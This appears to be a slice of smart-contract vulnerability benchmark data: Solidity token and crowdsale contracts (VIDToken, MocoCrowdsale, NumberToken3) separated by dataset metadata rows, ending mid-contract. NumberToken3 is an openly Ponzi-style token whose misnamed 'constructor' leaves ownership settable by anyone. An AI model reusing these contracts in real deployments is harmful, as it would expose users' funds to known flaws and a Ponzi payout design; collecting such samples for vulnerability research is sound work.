function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 252,210 | 11,290 |
c8c9ee83e8b970fd2ff67d3372f4220a611390e3a5e3f63a8bd70d28dbca57f1
| 9,344 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x445f51299ef3307dbd75036dd896565f5b4bf7a5.sol
| 2,946 | 9,251 |
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 balance);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a - b;
assert(b <= a && c <= a);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a && c>=b);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20 _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"O1- Owner only function");
_;
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract VIDToken is Owned, Pausable, ERC20 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public verifyPublisher;
mapping (address => bool) public verifyWallet;
struct fStruct { uint256 index; }
mapping(string => fStruct) private fileHashes;
string[] private fileIndex;
string public constant name = "V-ID Token";
uint8 public constant decimals = 18;
string public constant symbol = "VIDT";
uint256 public constant initialSupply = 100000000;
uint256 public validationPrice = 7 * 10 ** uint(decimals);
address public validationWallet = address(0);
constructor() public {
validationWallet = msg.sender;
verifyWallet[msg.sender] = true;
totalSupply = initialSupply * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0),owner,initialSupply);
}
function () public payable {
revert();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != msg.sender,"T1- Recipient can not be the same as sender");
require(_to != address(0),"T2- Please check the recipient address");
require(balances[msg.sender] >= _value,"T3- The balance of sender is too low");
require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen");
require(!frozenAccount[_to],"T5- The wallet of recipient is frozen");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0),"TF1- Please check the recipient address");
require(balances[_from] >= _value,"TF2- The balance of sender is too low");
require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low");
require(!frozenAccount[_from],"TF4- The wallet of sender is frozen");
require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
struct TKN { address sender; uint256 value; bytes data; bytes4 sig; }
function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
return true;
}
function transferToken(address tokenAddress, uint256 tokens) public onlyOwner {
ERC20(tokenAddress).safeTransfer(owner,tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender],"B1- The balance of burner is too low");
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function freeze(address _address, bool _state) public onlyOwner returns (bool) {
frozenAccount[_address] = _state;
emit Freeze(_address, _state);
return true;
}
function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) {
verifyPublisher[Address] = State;
emit ValidatePublisher(Address,State,Publisher);
return true;
}
function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) {
verifyWallet[Address] = State;
emit ValidateWallet(Address,State,Wallet);
return true;
}
function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) {
require(Payment>=validationPrice,"V1- Insufficient payment provided");
require(verifyPublisher[msg.sender],"V2- Unverified publisher address");
require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen");
require(Data.length == 64,"V4- Invalid hash provided");
if (!verifyWallet[To] || frozenAccount[To]) {
To = validationWallet;
}
uint256 index = 0;
string memory fileHash = string(Data);
if (cStore) {
if (fileIndex.length > 0) {
require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated");
}
fileHashes[fileHash].index = fileIndex.push(fileHash)-1;
index = fileHashes[fileHash].index;
}
if (allowed[To][msg.sender] >= Payment) {
allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment);
} else {
balances[msg.sender] = balances[msg.sender].sub(Payment);
balances[To] = balances[To].add(Payment);
}
emit Transfer(msg.sender, To, Payment);
if (eLog) {
emit ValidateFile(index,fileHash);
}
return true;
}
function verifyFile(string fileHash) public view returns (bool) {
if (fileIndex.length == 0) {
return false;
}
bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]);
bytes memory b = bytes(fileHash);
if (a.length != b.length) {
return false;
}
for (uint256 i = 0; i < a.length; i ++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function setPrice(uint256 newPrice) public onlyOwner {
validationPrice = newPrice;
}
function setWallet(address newWallet) public onlyOwner {
validationWallet = newWallet;
}
function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) {
if (fileIndex.length == 0) {
return false;
}
require(startAt <= fileIndex.length-1,"L1- Please select a valid start");
if (stopAt > 0) {
require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop");
} else {
stopAt = fileIndex.length-1;
}
for (uint256 i = startAt; i <= stopAt; i++) {
emit LogEvent(i,fileIndex[i]);
}
return true;
}
event Burn(address indexed burner, uint256 value);
event Freeze(address target, bool frozen);
event ValidateFile(uint256 index, string data);
event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName);
event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName);
event LogEvent(uint256 index, string data) anonymous;
}
| 164,035 | 11,291 |
3b19a1903064d4cb3dd17e4a6e06726e315fbe354d4a4d4c8adf67d8f905ad19
| 28,714 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x74e781098648c956fb661d1d480f3174b654e6f1.sol
| 5,160 | 19,219 |
pragma solidity ^0.5.0;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/Whitelisted.sol
contract Whitelisted is Ownable {
mapping (address => uint16) public whitelist;
mapping (address => bool) public provider;
// Only whitelisted
modifier onlyWhitelisted {
require(isWhitelisted(msg.sender));
_;
}
modifier onlyProvider {
require(isProvider(msg.sender));
_;
}
// Check if address is KYC provider
function isProvider(address _provider) public view returns (bool){
if (owner() == _provider){
return true;
}
return provider[_provider] == true ? true : false;
}
// Set new provider
function setProvider(address _provider) public onlyOwner {
provider[_provider] = true;
}
// Deactive current provider
function deactivateProvider(address _provider) public onlyOwner {
require(provider[_provider] == true);
provider[_provider] = false;
}
// Set purchaser to whitelist with zone code
function setWhitelisted(address _purchaser, uint16 _zone) public onlyProvider {
whitelist[_purchaser] = _zone;
}
// Delete purchaser from whitelist
function deleteFromWhitelist(address _purchaser) public onlyProvider {
whitelist[_purchaser] = 0;
}
// Get purchaser zone code
function getWhitelistedZone(address _purchaser) public view returns(uint16) {
return whitelist[_purchaser] > 0 ? whitelist[_purchaser] : 0;
}
// Check if purchaser is whitelisted : return true or false
function isWhitelisted(address _purchaser) public view returns (bool){
return whitelist[_purchaser] > 0;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
// solhint-disable-next-line not-rely-on-time
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/distribution/PostDeliveryCrowdsale.sol
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
function withdrawTokens(address beneficiary) public {
require(hasClosed());
uint256 amount = _balances[beneficiary];
require(amount > 0);
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
}
}
// File: openzeppelin-solidity/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private _tokenWallet;
constructor (address tokenWallet) public {
require(tokenWallet != address(0));
_tokenWallet = tokenWallet;
}
function tokenWallet() public view returns (address) {
return _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)));
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount);
}
}
// File: contracts/MocoCrowdsale.sol
contract MocoCrowdsale is TimedCrowdsale, AllowanceCrowdsale, Whitelisted {
// Amount of wei raised
uint256 public bonusPeriod;
uint256 public bonusAmount;
// Unlock period 1 - 6 month
uint256 private _unlock1;
// Unlock period 2 - 12 month
uint256 private _unlock2;
// Specify locked zone for 2nd period
uint8 private _lockedZone;
// Total tokens distributed
uint256 private _totalTokensDistributed;
// Total tokens locked
uint256 private _totalTokensLocked;
event TokensPurchased(address indexed purchaser,
address indexed beneficiary,
address asset,
uint256 value,
uint256 amount);
struct Asset {
uint256 weiRaised;
uint256 minAmount;
uint256 rate;
bool active;
}
mapping (address => Asset) private asset;
mapping (address => uint256) private _balances;
constructor(uint256 _openingTime,
uint256 _closingTime,
uint256 _unlockPeriod1,
uint256 _unlockPeriod2,
uint256 _bonusPeriodEnd,
uint256 _bonusAmount,
uint256 _rate,
address payable _wallet,
IERC20 _token,
address _tokenWallet) public
TimedCrowdsale(_openingTime, _closingTime)
Crowdsale(_rate, _wallet, _token)
AllowanceCrowdsale(_tokenWallet){
_unlock1 = _unlockPeriod1;
_unlock2 = _unlockPeriod2;
bonusPeriod = _bonusPeriodEnd;
bonusAmount = _bonusAmount;
asset[address(0)].rate = _rate;
}
function getAssetRaised(address _assetAddress) public view returns(uint256) {
return asset[_assetAddress].weiRaised;
}
function getAssetMinAmount(address _assetAddress) public view returns(uint256) {
return asset[_assetAddress].minAmount;
}
function getAssetRate(address _assetAddress) public view returns(uint256) {
return asset[_assetAddress].rate;
}
function isAssetActive(address _assetAddress) public view returns(bool) {
return asset[_assetAddress].active == true ? true : false;
}
// Add asset
function setAsset(address _assetAddress, uint256 _weiRaised, uint256 _minAmount, uint256 _rate) public onlyOwner {
asset[_assetAddress].weiRaised = _weiRaised;
asset[_assetAddress].minAmount = _minAmount;
asset[_assetAddress].rate = _rate;
asset[_assetAddress].active = true;
}
//
function weiRaised(address _asset) public view returns (uint256) {
return asset[_asset].weiRaised;
}
function _getTokenAmount(uint256 weiAmount, address asst)
internal view returns (uint256)
{
return weiAmount.mul(asset[asst].rate);
}
function minAmount(address _asset) public view returns (uint256) {
return asset[_asset].minAmount;
}
// Buy Tokens
function buyTokens(address beneficiary) public onlyWhitelisted payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount, address(0));
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount, address(0));
// update state
asset[address(0)].weiRaised = asset[address(0)].weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender,
beneficiary,
address(0),
weiAmount,
tokens);
// super._updatePurchasingState(beneficiary, weiAmount);
super._forwardFunds();
// super._postValidatePurchase(beneficiary, weiAmount);
}
// Buy tokens for assets
function buyTokensAsset(address beneficiary, address asst, uint256 amount) public onlyWhitelisted {
require(isAssetActive(asst));
_preValidatePurchase(beneficiary, amount, asst);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(amount, asst);
// update state
asset[asst].weiRaised = asset[asst].weiRaised.add(amount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender,
beneficiary,
asst,
amount,
tokens);
address _wallet = wallet();
IERC20(asst).safeTransferFrom(beneficiary, _wallet, amount);
// super._postValidatePurchase(beneficiary, weiAmount);
}
// Check if locked is end
function lockedHasEnd() public view returns (bool) {
return block.timestamp > _unlock1 ? true : false;
}
// Check if locked is end
function lockedTwoHasEnd() public view returns (bool) {
return block.timestamp > _unlock2 ? true : false;
}
// Withdraw tokens after locked period is finished
function withdrawTokens(address beneficiary) public {
require(lockedHasEnd());
uint256 amount = _balances[beneficiary];
require(amount > 0);
uint256 zone = super.getWhitelistedZone(beneficiary);
if (zone == 840){
// require(lockedTwoHasEnd());
if(lockedTwoHasEnd()){
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
} else {
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
}
// Locked tokens balance
function balanceOf(address account) public view returns(uint256) {
return _balances[account];
}
// Pre validation token buy
function _preValidatePurchase(address beneficiary,
uint256 weiAmount,
address asst)
internal
view
{
require(beneficiary != address(0));
require(weiAmount != 0);
require(weiAmount >= minAmount(asst));
}
function getBonusAmount(uint256 _tokenAmount) public view returns(uint256) {
return block.timestamp < bonusPeriod ? _tokenAmount.div(bonusAmount) : 0;
}
function calculateTokens(uint256 _weiAmount) public view returns(uint256) {
uint256 tokens = _getTokenAmount(_weiAmount);
return tokens + getBonusAmount(tokens);
}
function lockedTokens(address beneficiary, uint256 tokenAmount) public onlyOwner returns(bool) {
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
return true;
}
function _processPurchase(address beneficiary,
uint256 tokenAmount)
internal
{
uint256 zone = super.getWhitelistedZone(beneficiary);
uint256 bonusTokens = getBonusAmount(tokenAmount);
if (zone == 840){
uint256 totalTokens = bonusTokens.add(tokenAmount);
_balances[beneficiary] = _balances[beneficiary].add(totalTokens);
}
else {
super._deliverTokens(beneficiary, tokenAmount);
_balances[beneficiary] = _balances[beneficiary].add(bonusTokens);
}
}
}
| 214,097 | 11,292 |
1b813f28573d5cfc3741cd394355834dd55e6a41c536cf0878cf768fa36c5f0f
| 9,383 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x95411d0acaa34aaaf85c0ea55a8fde2cefb3d610.sol
| 3,320 | 9,160 |
pragma solidity ^0.4.18;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// 10% fees, price goes up crazy fast
contract NumberToken3 {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "NumberToken3";
string constant public symbol = "NUMB3";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
address owner;
function PonziTokenV3() public {
owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
